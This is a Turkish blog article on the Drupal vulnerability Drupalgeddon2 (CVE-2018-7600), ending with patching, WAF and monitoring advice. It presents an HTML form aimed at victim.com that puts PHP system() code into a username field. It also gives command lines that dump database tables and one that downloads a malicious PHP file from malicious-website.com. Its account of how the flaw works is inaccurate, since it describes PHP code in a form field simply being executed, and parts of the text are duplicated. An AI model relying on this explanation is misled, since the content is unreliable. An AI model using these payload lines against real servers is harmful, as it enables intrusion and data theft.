Drupalgeddon2 (CVE-2018-7600): Web Uygulama Güvenliğinde Kritik Bir Açığın İncelenmesi

Drupalgeddon2 (CVE-2018-7600): Web Uygulama Güvenliğinde Kritik Bir Açığın İncelenmesi
Siber Güvenlik
2025-31-10 20:51:07

Drupalgeddon2 (CVE-2018-7600): Web Uygulama Güvenliğinde Kritik Bir Açığın İncelenmesi

Drupal (CMS), dünya çapında popüler bir açık kaynak içerik yönetim sistemidir ve özellikle büyük ölçekli web siteleri için tercih edilen bir platformdur. Ancak, 2018'de keşfedilen Drupalgeddon2 (CVE-2018-7600) olarak bilinen güvenlik açığı, bu platformun ciddi bir güvenlik riski taşımasına neden olmuştur. Bu açık, dünya genelinde birçok web sitesini etkileyen bir zafiyet olup, siber saldırganların sitelere uzaktan erişim sağlamasına olanak tanıyordu.

Drupal (CMS), dünya çapında popüler bir açık kaynak içerik yönetim sistemidir ve özellikle büyük ölçekli web siteleri için tercih edilen bir platformdur. Ancak, 2018'de keşfedilen Drupalgeddon2 (CVE-2018-7600) olarak bilinen güvenlik açığı, bu platformun ciddi bir güvenlik riski taşımasına neden olmuştur. Bu açık, dünya genelinde birçok web sitesini etkileyen bir zafiyet olup, siber saldırganların sitelere uzaktan erişim sağlamasına olanak tanıyordu.

Drupalgeddon2 Nedir?

CVE-2018-7600, Drupal (CMS) içerik yönetim sisteminin kurulu olduğu sistemlerde Remote Code Execution (uzaktan kod çalıştırma) tekniği aracılığıyla bu zafiyetin gerçekleştirilmesini ifade etmektedir. Bu zafiyet, Drupal'ın önceki sürümlerinde yer alan bir güvenlik zafiyetinden kaynaklanmaktaydı ve saldırganların, düzgün yapılandırılmamış veya güncellenmemiş bir Drupal altyapısına sahip web sitesine zarar vermesine olanak tanıyordu. Bu güvenlik açığı, özellikle Drupal 7.x ve Drupal 8.x sürümlerinde etkili olmaktaydı.

Zafiyetin Çalışma İlkesi: Drupalgeddon2'nin en tehlikeli yönlerinden biri, saldırganların herhangi bir kimlik doğrulama gereksinimi olmadan hedef siteye uzaktan zarar verebilmesiydi. Bu, saldırganların potansiyel olarak Drupal sitesine yönetici seviyesinde erişim kazanmasına ve uzaktan kod çalıştırmasına olanak tanıyordu. Bu durum, saldırganların site üzerinde tam kontrol elde edebilecekleri anlamına geliyordu.

Makale içeriği

HTML Formu ile Zafiyet Tetikleme:

Drupalgeddon2, siteye gönderilen verilerin işlenmesi sırasında ortaya çıkan bir açık olduğu için, kötü amaçlı kullanıcı girdilerinin sisteme zararlı komutlar göndermesi mümkündü. Aşağıda, bir HTML formu örneği ile bu açığı nasıl tetikleyebileceğimizi inceleyelim.

Örnek HTML Formu (Zayıf Güvenlik Kontrolü ile):

Bir saldırgan, Drupal sistemine kötü amaçlı PHP kodu gönderebilmektedir. Eğer Drupal, kullanıcıdan gelen bu verileri filtrelemeden işlerse, PHP kodu doğrudan çalıştırılabilmektedir.

Örnek html kodu:

<form action="http://victim.com/?q=user/register" method="POST">

<label for="name">Kullanıcı Adı:</label>

<input type="text" id="name" name="name[0]" value="<?php system('ls'); ?>" />

<br><br>

<label for="email">E-posta:</label>

<input type="email" id="email" name="mail" value="example@example.com" />

<br><br>

<label for="password">Şifre:</label>

<input type="password" id="password" name="pass[0]" value="password" />

<br><br>

<input type="submit" value="Gönder" />

</form>

Bu formda, name[0] adlı input alanına zararlı bir PHP kodu (<?php system('ls'); ?>) yerleştirilmiştir. Kullanıcı adı olarak girilen bu veri, Drupal içerik yönetim sistemi tarafından işlenip sunucuya gönderildiğinde, system('ls') komutunun çalıştırılacağını ve yapılan saldırının sistemdeki dosya ve dizinlerin görüntülenmesi ile sonuçlandığı anlamına gelmektedir. Drupalgeddon açığının istismarında yalnızca PHP kodlarının çalıştırılabildiği gibi bir kısıtlama yoktur. Drupal gibi bir CMS üzerinde, güvenlik açıkları varsa, PHP dışındaki zararlı kodlar (örneğin JavaScript, HTML, vb.) da çalıştırılabilir veya siteye zarar verebilir. Ancak, Drupal'deki zafiyetler genellikle PHP kodlarının çalıştırılmasına olanak tanımaktadır. Çünkü Drupal, PHP tabanlı bir içerik yönetim sistemi platformudur.

Formdaki Veri Girişi Alanları (input):

Formu doldururken, aşağıdaki gibi veriler girilebilir:

  • Kullanıcı Adı: <?php system('ls'); ?> (Bu zararlı PHP kodu, sunucuda komut çalıştıracaktır)
  • E-posta: example@example.com (Normal bir e-posta adresi)
  • Şifre: password (Basit bir şifre)

Saldırgan bu formu gönderdikten sonra, Drupal içerik yönetim sistemi bu formu işlediğinde, özellikle name[0] alanındaki zararlı PHP komutunu çalıştırabilmektedir. Bu durum, PHP betiği tarafından işlenen komutlar sayesinde, sistemin komut satırını tetikleyebilmekte ve sunucudaki dizin yapısını görüntüleyebilmektedir.

Zafiyetin Çalışma Mekanizması:

Drupal, form verilerini düzgün şekilde doğrulamadan kabul ediyordu. Kullanıcıdan gelen her tür veri, yeterince filtrelenmeden işleniyor ve sunucuya iletiliyordu. Saldırganlar, bu durumu kullanarak PHP kodları ekleyebiliyordu. Yukarıdaki örnekte, formdaki name[0] input alanına eklenen PHP kodu, Drupal sisteminin uygun güvenlik önlemleri almadan çalıştırılması nedeniyle, sunucunun dosya dizinlerini görüntüleyebiliyordu.

Zafiyet Sonucu:

Saldırgan bu yöntemi kullanarak bir dizi zararlı eylem gerçekleştirebilir:

  • Sistem Dosyalarını Görüntülemek: system('ls') komutu çalıştırıldığında, sunucudaki dosya ve dizin yapıları listelenebilir.

Örneğin: <?php system('ls'); ?>

  • Veritabanı Bilgilerini Elde Etmek: Zararlı bir PHP komutuyla veritabanı dosyalarına erişilebilir.

Aşağıdaki örnekte, system() fonksiyonu ile MySQL'deki SHOW TABLES komutunu çalıştırmak:

<?php system('mysql -u $censoreduser -p $censoredpassword -e "SHOW TABLES;"'); ?>

Bu komut, MySQL veritabanındaki tüm tabloları listeleyecektir. Veritabanının yapısı hakkında bilgi sağlayacaktır.

Bir başka örnek, veritabanındaki belirli bir tabloyu sorgulamak olabilir. Örneğin, ilgili tablodaki tüm verileri listelemek için:

<?php system('mysql -u $censoreduser -p $censoredpassword -e "SELECT * FROM $censoredtablename;"'); ?>

Bu komut, ilgili tablodaki tüm verileri (örneğin, kullanıcı adları, şifreler ve diğer hassas bilgiler) dışarı alabilmektedir.

Bu tür komutlar, saldırganın sistemin veritabanı üzerinde tam kontrol sağlamasına, veri çalmasına veya zarar vermesine olanak tanımaktadır.

  • Dosya Yükleme: Komut satırını kullanarak zararlı dosyalar yüklenebilmektedir. Saldırgan burada zararlı bir web sitesi üzerinden veya açmış olduğu bir web sunucusu aracılığı ile zararlı dosyaları sisteme gönderebilmektedir.

Örneğin: <?php system('curl -O http://malicious-website.com/malicious-file.php'); ?>

Makale içeriği

CVE-2018-7600 İçin Alınacak Önlemler:

Drupalgeddon2'nin etkilerini en aza indirmek için, Drupal CMS kullanılan sistemlerde alınması gereken bazı temel güvenlik önlemleri bulunmaktadır:

  1. Güncelleme ve Yama Yönetimi: Drupal kullanıcılarının, mümkün olan en kısa sürede sitelerini güncellemeleri son derece önemlidir. Drupal, bu tür zafiyetleri gidermek için düzenli olarak güvenlik güncellemeleri yayınlamaktadır.
  2. Erişim Kontrolleri: Web uygulamaları için güçlü kimlik doğrulama mekanizmaları ve erişim kontrolleri uygulamak, saldırganların sisteme erişimini zorlaştırabilmektedir.
  3. Web Uygulama Güvenlik Duvarı (WAF): Bir Web Uygulama Güvenlik Duvarı, bu tür saldırılara karşı bir koruma katmanı sağlayabilmektedir. Güvenlik duvarları, zararlı istekleri engelleyerek, saldırıların başarı şansını azaltabilir.
  4. Sürekli İzleme ve Denetim: Güvenlik açıklarının tespiti için düzenli olarak güvenlik taramaları ve denetimler yapmak, potansiyel tehditlerin erkenden tespit edilmesine yardımcı olabilmektedir.
  5. Zararlı Yazılım İncelemesi ve Tersine Mühendislik Yöntemleri Araçları: Saldırganların zararlı yazılım yüklemesi durumunda, bu tür araçlar zararlı yazılımların tespit edilmesine yardımcı olabilmektedir.

Sonuç:

Bu güvenlik açığı, Drupal kullanıcılarını çok dikkatli olmaya ve platformlarını düzenli olarak güncellemeye teşvik etmiştir. Güvenlik açıklarının zamanında fark edilmesi ve hızla kapatılması, web uygulamalarını korumanın anahtarıdır. Sonuç olarak, web güvenliği her zaman öncelikli olmalı ve gelişen tehditlere karşı sürekli, güncel ve proaktif bir savunma stratejisi oluşturulmalıdır.

Referanslar:

https://www.tenable.com/cve/CVE-2018-7600/plugins

https://nvd.nist.gov/vuln/detail/CVE-2018-7600

Etiketler: Drupalgeddon2